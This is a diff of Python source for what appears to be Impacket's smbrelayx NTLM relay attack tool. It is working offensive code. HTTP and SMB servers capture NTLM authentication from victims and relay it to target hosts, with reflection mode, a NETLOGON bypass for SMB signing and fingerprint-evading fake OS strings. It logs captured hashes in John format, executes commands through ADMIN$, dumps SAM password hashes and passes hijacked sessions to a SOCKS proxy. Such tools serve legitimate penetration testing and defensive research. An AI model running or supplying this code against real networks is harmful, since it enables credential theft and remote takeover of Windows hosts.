+                    logging.info("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost())
+                    self.__answerTMP = b''
+                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
+                    logging.debug('Raw answer %r' % self.__answerTMP)
+
+                    try:
+                        print(self.__answerTMP.decode(CODEC))
+                    except UnicodeDecodeError:
+                        logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                                      'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbrelayx.py '
+                                  'again with -codec and the corresponding codec')
+                        print(self.__answerTMP)
+
+                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
+                else:
+                    bootKey = remoteOps.getBootKey()
+                    remoteOps._RemoteOperations__serviceDeleted = True
+                    samFileName = remoteOps.saveSAM()
+                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
+                    samHashes.dump()
+                    logging.info("Done dumping SAM hashes for host: %s" % self.__SMBConnection.getRemoteHost())
+            except Exception as e:
+                logging.debug('Exception:', exc_info=True)
+                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
+                logging.error(str(e))
+            finally:
+                if samHashes is not None:
+                    samHashes.finish()
+                if remoteOps is not None:
+                    remoteOps.finish()
+            try:
+                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
+            except Exception as e:
+                logging.error(str(e))
+                pass
+
+
+class SMBClient(SMB):
+    def __init__(self, remote_name, extended_security = True, sess_port = 445):
+        self._extendedSecurity = extended_security
+        self.domainIp = None
+        self.machineAccount = None
+        self.machineHashes = None
+
+        SMB.__init__(self,remote_name, remote_name, sess_port = sess_port)
+
+    def neg_session(self):
+        neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity)
+        return neg_sess
+
+    def setUid(self,uid):
+        self._uid = uid
+
+    def login_standard(self, user, domain, ansiPwd, unicodePwd):
+        smb = NewSMBPacket()
+        smb['Flags1']  = 8
+        
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Data()
+
+        sessionSetup['Parameters']['MaxBuffer']        = 65535
+        sessionSetup['Parameters']['MaxMpxCount']      = 2
+        sessionSetup['Parameters']['VCNumber']         = os.getpid()
+        sessionSetup['Parameters']['SessionKey']       = self._dialects_parameters['SessionKey']
+        sessionSetup['Parameters']['AnsiPwdLength']    = len(ansiPwd)
+        sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd)
+        sessionSetup['Parameters']['Capabilities']     = SMB.CAP_RAW_MODE
+
+        sessionSetup['Data']['AnsiPwd']       = ansiPwd
+        sessionSetup['Data']['UnicodePwd']    = unicodePwd
+        sessionSetup['Data']['Account']       = user
+        sessionSetup['Data']['PrimaryDomain'] = domain
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        smb.addCommand(sessionSetup)
+
+        self.sendSMB(smb)
+        smb = self.recvSMB()
+        try:
+            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        except:
+            logging.error("Error login_standard")
+            return None, STATUS_LOGON_FAILURE
+        else:
+            self._uid = smb['Uid']
+            return smb, STATUS_SUCCESS
+
+    def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
+        self.machineAccount = machineAccount
+        self.machineHashes = machineHashes
+        self.domainIp = domainIp
+        if self._SignatureRequired is True:
+            if self.domainIp is None:
+                logging.error("Signature is REQUIRED on the other end, attack will not work")
+            else:
+                logging.info("Signature is REQUIRED on the other end, using NETLOGON approach")
+
+
+    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
+        # Here we will use netlogon to get the signing session key
+        logging.info("Connecting to %s NETLOGON service" % self.domainIp)
+
+        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
+        authenticateMessage = NTLMAuthChallengeResponse()
+        authenticateMessage.fromString(respToken2['ResponseToken'] )
+        _, machineAccount = self.machineAccount.split('/')
+        domainName = authenticateMessage['domain_name'].decode('utf-16le')
+
+        try:
+            av_pairs = authenticateMessage['ntlm'][44:]
+            av_pairs = AV_PAIRS(av_pairs)
+
+            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
+        except:
+            logging.debug("Exception:", exc_info=True)
+            # We're in NTLMv1, not supported
+            return STATUS_ACCESS_DENIED
+
+        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp
+
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+
+        if len(self.machineHashes) > 0:
+            lmhash, nthash = self.machineHashes.split(':')
+        else:
+            lmhash = ''
+            nthash = ''
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)
+
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(nrpc.MSRPC_UUID_NRPC)
+        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')
+
+        serverChallenge = resp['ServerChallenge']
+
+        if self.machineHashes == '':
+            ntHash = None
+        else:
+            ntHash = unhexlify(self.machineHashes.split(':')[1])
+
+        sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)
+
+        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
+
+        nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
+                                      nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
+                                      ppp, 0x600FFFFF)
+
+        clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
+
+        # Now let's try to verify the security blob against the PDC
+
+        request = nrpc.NetrLogonSamLogonWithFlags()
+        request['LogonServer'] = '\x00'
+        request['ComputerName'] = serverName + '\x00'
+        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
+
+        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
+        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
+            'user_name'].decode('utf-16le')
+        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
+        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
+        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
+        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
+
+        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
+        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
+        authenticator['Timestamp'] = 10
+
+        request['Authenticator'] = authenticator
+        request['ReturnAuthenticator']['Credential'] = '\x00'*8
+        request['ReturnAuthenticator']['Timestamp'] = 0
+        request['ExtraFlags'] = 0
+        #request.dump()
+        try:
+            resp = dce.request(request)
+            #resp.dump()
+        except DCERPCException as e:
+            logging.debug('Exception:', exc_info=True)
+            logging.error(str(e))
+            return e.get_error_code()
+
+        logging.info("%s\\%s successfully validated through NETLOGON" % (
+        domainName, authenticateMessage['user_name'].decode('utf-16le')))
+ 
+        encryptedSessionKey = authenticateMessage['session_key']
+        if encryptedSessionKey != '':
+            signingKey = generateEncryptedSessionKey(
+                resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
+        else:
+            signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 
+
+        logging.info("SMB Signing key: %s " % hexlify(signingKey))
+
+        self.set_session_key(signingKey)
+
+        self._SignatureEnabled = True
+        self._SignSequenceNumber = 2
+        self.set_flags(flags1 = SMB.FLAGS1_PATHCASELESS, flags2 = SMB.FLAGS2_EXTENDED_SECURITY)
+        return STATUS_SUCCESS
+
+    def sendAuth(self, serverChallenge, authenticateMessageBlob):
+        smb = NewSMBPacket()
+        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
+        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 
+        # Are we required to sign SMB? If so we do it, if not we skip it
+        if self._SignatureRequired: 
+           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+        smb['Uid'] = self._uid
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
+
+        sessionSetup['Parameters']['MaxBufferSize']        = 65535
+        sessionSetup['Parameters']['MaxMpxCount']          = 2
+        sessionSetup['Parameters']['VcNumber']             = 1
+        sessionSetup['Parameters']['SessionKey']           = 0
+        sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
+
+        # Fake Data here, don't want to get us fingerprinted
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
+        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
+        smb.addCommand(sessionSetup)
+        self.sendSMB(smb)
+            
+        smb = self.recvSMB()
+        errorCode = smb['ErrorCode'] << 16
+        errorCode += smb['_reserved'] << 8
+        errorCode += smb['ErrorClass']
+
+        if errorCode == STATUS_SUCCESS and self._SignatureRequired is True and self.domainIp is not None:
+            try:
+                errorCode = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)    
+            except:
+                logging.debug('Exception:', exc_info=True)
+                raise
+
+        return smb, errorCode
+
+    def sendNegotiate(self, negotiateMessage):
+        smb = NewSMBPacket()
+        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
+        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 
+        # Are we required to sign SMB? If so we do it, if not we skip it
+        if self._SignatureRequired: 
+           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
+          
+
+        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
+        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()
+
+        sessionSetup['Parameters']['MaxBufferSize']        = 65535
+        sessionSetup['Parameters']['MaxMpxCount']          = 2
+        sessionSetup['Parameters']['VcNumber']             = 1
+        sessionSetup['Parameters']['SessionKey']           = 0
+        sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
+
+        # Let's build a NegTokenInit with the NTLMSSP
+        # TODO: In the future we should be able to choose different providers
+
+        blob = SPNEGO_NegTokenInit() 
+
+        # NTLMSSP
+        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
+        blob['MechToken'] = negotiateMessage
+
+        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
+        sessionSetup['Parameters'].getData()
+        sessionSetup['Data']['SecurityBlob']       = blob.getData()
+
+        # Fake Data here, don't want to get us fingerprinted
+        sessionSetup['Data']['NativeOS']      = 'Unix'
+        sessionSetup['Data']['NativeLanMan']  = 'Samba'
+
+        smb.addCommand(sessionSetup)
+        self.sendSMB(smb)
+        smb = self.recvSMB()
+
+        try:
+            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        except Exception:
+            logging.error("SessionSetup Error!")
+            raise
+        else:
+            # We will need to use this uid field for all future requests/responses
+            self._uid = smb['Uid']
+
+            # Now we have to extract the blob to continue the auth process
+            sessionResponse   = SMBCommand(smb['Data'][0])
+            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
+            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
+            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
+            sessionData.fromString(sessionResponse['Data'])
+            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
+
+            return respToken['ResponseToken']
+
+class HTTPRelayServer(Thread):
+    class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
+        def __init__(self, server_address, RequestHandlerClass, target, exeFile, command, mode, outputFile,
+                     one_shot, returnStatus=STATUS_SUCCESS, runSocks = False):
+            self.target = target
+            self.exeFile = exeFile
+            self.command = command
+            self.mode = mode
+            self.returnStatus = returnStatus
+            self.outputFile = outputFile
+            self.one_shot = one_shot
+            self.runSocks = runSocks
+
+            socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)
+
+    class HTTPHandler(http.server.SimpleHTTPRequestHandler):
+        def __init__(self,request, client_address, server):
+            self.server = server
+            self.protocol_version = 'HTTP/1.1'
+            self.challengeMessage = None
+            self.target = None
+            self.client = None
+            self.machineAccount = None
+            self.machineHashes = None
+            self.domainIp = None
+
+            global ATTACKED_HOSTS
+            if self.server.target in ATTACKED_HOSTS and self.server.one_shot:
+                logging.info(
+                    "HTTPD: Received connection from %s, skipping %s, already attacked" % (
+                    client_address[0], self.server.target))
+                return
+
+            if self.server.target is not None:
+                logging.info(
+                    "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], self.server.target))
+            else:
+                logging.info(
+                    "HTTPD: Received connection from %s, attacking target %s" % (client_address[0], client_address[0]))
+            http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
+
+        def handle_one_request(self):
+            try:
+                http.server.SimpleHTTPRequestHandler.handle_one_request(self)
+            except Exception:
+                logging.debug("Exception:", exc_info=True)
+                pass
+
+        def log_message(self, format, *args):
+            return
+
+        def do_HEAD(self):
+            self.send_response(200)
+            self.send_header('Content-type', 'text/html')
+            self.end_headers()
+
+        def do_AUTHHEAD(self, message = ''):
+            self.send_response(401)
+            self.send_header('WWW-Authenticate', message.decode('utf-8'))
+            self.send_header('Content-type', 'text/html')
+            self.send_header('Content-Length','0')
+            self.end_headers()
+
+        def send_error(self, code, message=None):
+            if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
+                return self.do_GET()
+            return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
+
+        def do_GET(self):
+            messageType = 0
+            if PY2:
+                authorizationHeader = self.headers.getheader('Authorization')
+            else:
+                authorizationHeader = self.headers.get('Authorization')
+
+            if authorizationHeader is None:
+                self.do_AUTHHEAD(message = b'NTLM')
+                pass
+            else:
+                #self.do_AUTHHEAD()
+                typeX = authorizationHeader
+                try:
+                    _, blob = typeX.split('NTLM')
+                    token =  base64.b64decode(blob.strip())
+                except:
+                    self.do_AUTHHEAD()
+                messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
+
+            if messageType == 1:
+                if self.server.mode.upper() == 'REFLECTION':
+                    self.target = self.client_address[0]
+                else:
+                    self.target = self.server.target
+                try:
+                    if self.client is not None:
+                        logging.error('Still performing an attack against %s' % self.client.get_remote_host())
+                        self.send_response(404)
+                        self.end_headers()
+                        return
+
+                    self.client = SMBClient(self.target, extended_security = True)
+                    self.client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
+                    self.client.set_timeout(60)
+                except Exception as e:
+                   logging.error("Connection against target %s FAILED" % self.target)
+                   logging.error(str(e))
+
+                clientChallengeMessage = self.client.sendNegotiate(token) 
+                self.challengeMessage = NTLMAuthChallenge()
+                self.challengeMessage.fromString(clientChallengeMessage)
+                self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(clientChallengeMessage))
+
+            elif messageType == 3:
+                authenticateMessage = NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+                if authenticateMessage['user_name'] != '' or self.target == '127.0.0.1':
+                    respToken2 = SPNEGO_NegTokenResp()
+                    respToken2['ResponseToken'] = token
+                    clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'],
+                                                                     respToken2.getData())
+                else:
+                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
+                    # when coming from localhost
+                    errorCode = STATUS_ACCESS_DENIED
+
+                if errorCode != STATUS_SUCCESS:
+                    logging.error("Authenticating against %s as %s\\%s FAILED" % (
+                    self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
+                    self.do_AUTHHEAD('NTLM')
+                else:
+                    # Relay worked, do whatever we want here...
+                    logging.info("Authenticating against %s as %s\\%s SUCCEED" % (
+                    self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
+                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
+                                                        authenticateMessage['user_name'],
+                                                        authenticateMessage['domain_name'],
+                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
+                    logging.info(ntlm_hash_data['hash_string'])
+                    if self.server.outputFile is not None:
+                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
+                                              self.server.outputFile)
+
+                    # Target will be attacked, adding to the attacked set
+                    # If the attack fails, the doAttack thread will be responsible of removing it from the set
+                    global ATTACKED_HOSTS
+                    if self.target not in ATTACKED_HOSTS:
+                        ATTACKED_HOSTS.add(self.target)
+                        if self.server.runSocks is True:
+                            # Pass all the data to the socksplugins proxy
+                            protocolClient = SMBRelayClient(None,urlparse('smb://%s' % self.target))
+                            protocolClient.session = SMBConnection(existingConnection=self.client)
+                            activeConnections.put(
+                                (self.target, 445, 'SMB', ('%s/%s' % (
+                                authenticateMessage['domain_name'].decode('utf-16le'),
+                                authenticateMessage['user_name'].decode('utf-16le'))).upper(),
+                                 protocolClient,
+                                 {'CHALLENGE_MESSAGE': self.challengeMessage}))
+                            logging.info("Adding %s(445) to active SOCKS connection. Enjoy" % self.target)
+                        else:
+                            clientThread = doAttack(self.client,self.server.exeFile,self.server.command)
+                            self.client = None
+                            clientThread.start()
+                    else:
+                        logging.error('%s is being attacker at the moment, skipping.. ' % self.target)
+
+                    # And answer 404 not found
+                    self.send_response(404)
+                    self.send_header('WWW-Authenticate', 'NTLM')
+                    self.send_header('Content-type', 'text/html')
+                    self.send_header('Content-Length','0')
+                    self.end_headers()
+            return 
+
+    def __init__(self, outputFile=None):
+        Thread.__init__(self)
+        self.daemon = True
+        self.domainIp = None
+        self.machineAccount = None
+        self.machineHashes = None
+        self.exeFile = None
+        self.command = None
+        self.target = None
+        self.mode = None
+        self.outputFile = outputFile
+        self.one_shot = False
+        self.runSocks = False
+
+    def setTargets(self, target):
+        self.target = target
+
+    def setExeFile(self, filename):
+        self.exeFile = filename
+
+    def setCommand(self, command):
+        self.command = command
+
+    def setSocks(self, socks):
+        self.runSocks = socks
+
+    def setReturnStatus(self, returnStatus):
+        # Not implemented yet.
+        pass
+
+    def setMode(self,mode, one_shot):
+        self.mode = mode
+        self.one_shot = one_shot
+
+    def setDomainAccount( self, machineAccount,  machineHashes, domainIp):
+        self.machineAccount = machineAccount
+        self.machineHashes = machineHashes
+        self.domainIp = domainIp
+
+    def run(self):
+        logging.info("Setting up HTTP Server")
+        httpd = self.HTTPServer(("", 80), self.HTTPHandler, self.target, self.exeFile, self.command, self.mode,
+                                self.outputFile, self.one_shot, runSocks = self.runSocks)
+        httpd.serve_forever()
+
+class SMBRelayServer(Thread):
+    def __init__(self, outputFile = None):
+        Thread.__init__(self)
+        self.daemon = True
+        self.server = 0
+        self.target = '' 
+        self.mode = 'REFLECTION'
+        self.domainIp = None
+        self.machineAccount = None
+        self.machineHashes = None
+        self.exeFile = None
+        self.returnStatus = STATUS_SUCCESS
+        self.command = None
+        self.one_shot = False
+        self.runSocks = False
+
+        # Here we write a mini config for the server
+        smbConfig = ConfigParser.ConfigParser()
+        smbConfig.add_section('global')
+        smbConfig.set('global','server_name','server_name')
+        smbConfig.set('global','server_os','UNIX')
+        smbConfig.set('global','server_domain','WORKGROUP')
+        smbConfig.set('global','log_file','smb.log')
+        smbConfig.set('global','credentials_file','')
+
+        if outputFile is not None:
+            smbConfig.set('global','jtr_dump_path',outputFile)
+
+        # IPC always needed
+        smbConfig.add_section('IPC$')
+        smbConfig.set('IPC$','comment','')
+        smbConfig.set('IPC$','read only','yes')
+        smbConfig.set('IPC$','share type','3')
+        smbConfig.set('IPC$','path','')
+
+        self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
+        self.server.processConfigFile()
+
+        self.origSmbComNegotiate = self.server.hookSmbCommand(SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
+        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(SMB.SMB_COM_SESSION_SETUP_ANDX,
+                                                                  self.SmbSessionSetupAndX)
+        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
+        self.server.addConnection('SMBRelay', '0.0.0.0', 445)
+
+    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
+        connData = smbServer.getConnectionData(connId, checkStatus = False)
+        if self.mode.upper() == 'REFLECTION':
+            self.target = connData['ClientIP']
+        #############################################################
+        # SMBRelay
+        smbData = smbServer.getConnectionData('SMBRelay', False)
+        if self.target in smbData:
+            # Remove the previous connection and use the last one
+            smbClient = smbData[self.target]['SMBClient']
+            del smbClient
+            del smbData[self.target]
+
+        # Let's check if we already attacked this host.
+        global ATTACKED_HOSTS
+        if self.target in ATTACKED_HOSTS and self.one_shot is True:
+            logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
+            connData['ClientIP'], self.target))
+            packet = NewSMBPacket()
+            packet['Flags1'] = SMB.FLAGS1_REPLY
+            packet['Flags2'] = SMB.FLAGS2_NT_STATUS
+            packet['Command'] = recvPacket['Command']
+            packet['Pid'] = recvPacket['Pid']
+            packet['Tid'] = recvPacket['Tid']
+            packet['Mid'] = recvPacket['Mid']
+            packet['Uid'] = recvPacket['Uid']
+            packet['Data'] = '\x00\x00\x00'
+            errorCode = STATUS_NOT_SUPPORTED
+            packet['ErrorCode'] = errorCode >> 16
+            packet['ErrorClass'] = errorCode & 0xff
+
+            return None, [packet], STATUS_NOT_SUPPORTED
+        else:
+            logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target))
+
+        try: 
+            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0:
+                extSec = False
+            else:
+                if self.mode.upper() == 'REFLECTION':
+                    # Force standard security when doing reflection
+                    logging.info("Downgrading to standard security")
+                    extSec = False
+                    recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY)
+                else:
+                    extSec = True
+            client = SMBClient(self.target, extended_security = extSec)
+            client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
+            client.set_timeout(60)
+        except Exception as e:
+            logging.error("Connection against target %s FAILED" % self.target)
+            logging.error(str(e))
+        else: 
+            encryptionKey = client.get_encryption_key()
+            smbData[self.target] = {}
+            smbData[self.target]['SMBClient'] = client
+            if encryptionKey is not None:
+                connData['EncryptionKey'] = encryptionKey
+            smbServer.setConnectionData('SMBRelay', smbData)
+            smbServer.setConnectionData(connId, connData)
+        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
+        #############################################################
+
+    def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket):
+
+        connData = smbServer.getConnectionData(connId, checkStatus = False)
+        #############################################################
+        # SMBRelay
+        smbData = smbServer.getConnectionData('SMBRelay', False)
+        #############################################################
+
+        respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
+        global ATTACKED_HOSTS
+
+        if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:
+            # Extended security. Here we deal with all SPNEGO stuff
+            respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
+            respData       = SMBSessionSetupAndX_Extended_Response_Data()
+            sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters'])
+            sessionSetupData = SMBSessionSetupAndX_Extended_Data()
+            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
+            sessionSetupData.fromString(smbCommand['Data'])
+            connData['Capabilities'] = sessionSetupParameters['Capabilities']
+
+            if unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
+               # If there no GSSAPI ID, it must be an AUTH packet
+               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
+               token = blob['ResponseToken']
+            else:
+               # NEGOTIATE packet
+               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
+               token = blob['MechToken']
+
+            # Here we only handle NTLMSSP, depending on what stage of the 
+            # authentication we are, we act on it
+            messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
+
+            if messageType == 0x01:
+                # NEGOTIATE_MESSAGE
+                negotiateMessage = NTLMAuthNegotiate()
+                negotiateMessage.fromString(token)
+                # Let's store it in the connection data
+                connData['NEGOTIATE_MESSAGE'] = negotiateMessage
+
+                #############################################################
+                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 
+                # Let's send it to the target server and send the answer back to the client.
+
+                # Let's check if we already attacked this host.
+                global ATTACKED_HOSTS
+                if self.target in ATTACKED_HOSTS and self.one_shot is True:
+                    logging.info("SMBD: Received connection from %s, skipping %s, already attacked" % (
+                    connData['ClientIP'], self.target))
+                    packet = NewSMBPacket()
+                    packet['Flags1'] = SMB.FLAGS1_REPLY
+                    packet['Flags2'] = SMB.FLAGS2_NT_STATUS
+                    packet['Command'] = recvPacket['Command']
+                    packet['Pid'] = recvPacket['Pid']
+                    packet['Tid'] = recvPacket['Tid']
+                    packet['Mid'] = recvPacket['Mid']
+                    packet['Uid'] = recvPacket['Uid']
+                    packet['Data'] = b'\x00\x00\x00'
+                    errorCode = STATUS_NOT_SUPPORTED
+                    packet['ErrorCode'] = errorCode >> 16
+                    packet['ErrorClass'] = errorCode & 0xff
+
+                    return None, [packet], STATUS_NOT_SUPPORTED
+
+                # It might happen if the target connects back before a previous connection has finished, we might
+                # get to this function w/o having the dict and smbClient entry created, because a
+                # NEGOTIATE_CONNECTION was not needed
+                if (self.target in smbData) is False:
+                    smbData[self.target] = {}
+                    smbClient = SMBClient(self.target)
+                    smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp)
+                    smbClient.set_timeout(60)
+                    smbData[self.target]['SMBClient'] = smbClient
+
+                smbClient = smbData[self.target]['SMBClient']
+                clientChallengeMessage = smbClient.sendNegotiate(token) 
+                challengeMessage = NTLMAuthChallenge()
+                challengeMessage.fromString(clientChallengeMessage)
+                #############################################################
+
+                respToken = SPNEGO_NegTokenResp()
+                # accept-incomplete. We want more data
+                respToken['NegState'] = b'\x01'
+                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
+
+                respToken['ResponseToken'] = challengeMessage.getData()
+
+                # Setting the packet to STATUS_MORE_PROCESSING
+                errorCode = STATUS_MORE_PROCESSING_REQUIRED
+                # Let's set up an UID for this connection and store it 
+                # in the connection's data
+                # Picking a fixed value
+                # TODO: Manage more UIDs for the same session
+                connData['Uid'] = 10
+                # Let's store it in the connection data
+                connData['CHALLENGE_MESSAGE'] = challengeMessage
+
+            elif messageType == 0x03:
+                # AUTHENTICATE_MESSAGE, here we deal with authentication
+
+                #############################################################
+                # SMBRelay: Ok, so now the have the Auth token, let's send it
+                # back to the target system and hope for the best.
+                smbClient = smbData[self.target]['SMBClient']
+                authenticateMessage = NTLMAuthChallengeResponse()
+                authenticateMessage.fromString(token)
+                if authenticateMessage['user_name'] != '':
+                    clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'],
+                                                                   sessionSetupData['SecurityBlob'])
+                else:
+                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
+                    errorCode = STATUS_ACCESS_DENIED
+
+                if errorCode != STATUS_SUCCESS:
+                    # Let's return what the target returned, hope the client connects back again
+                    packet = NewSMBPacket()
+                    packet['Flags1']  = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
+                    packet['Flags2']  = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
+                    packet['Command'] = recvPacket['Command']
+                    packet['Pid']     = recvPacket['Pid']
+                    packet['Tid']     = recvPacket['Tid']
+                    packet['Mid']     = recvPacket['Mid']
+                    packet['Uid']     = recvPacket['Uid']
+                    packet['Data']    = b'\x00\x00\x00'
+                    packet['ErrorCode']   = errorCode >> 16
+                    packet['ErrorClass']  = errorCode & 0xff
+                    # Reset the UID
+                    smbClient.setUid(0)
+                    logging.error("Authenticating against %s as %s\\%s FAILED" % (
+                    self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
+                    # del (smbData[self.target])
+                    return None, [packet], errorCode
+                else:
+                    # We have a session, create a thread and do whatever we want
+                    logging.info("Authenticating against %s as %s\\%s SUCCEED" % (
+                    self.target, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')))
+                    ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
+                                                        authenticateMessage['user_name'],
+                                                        authenticateMessage['domain_name'],
+                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
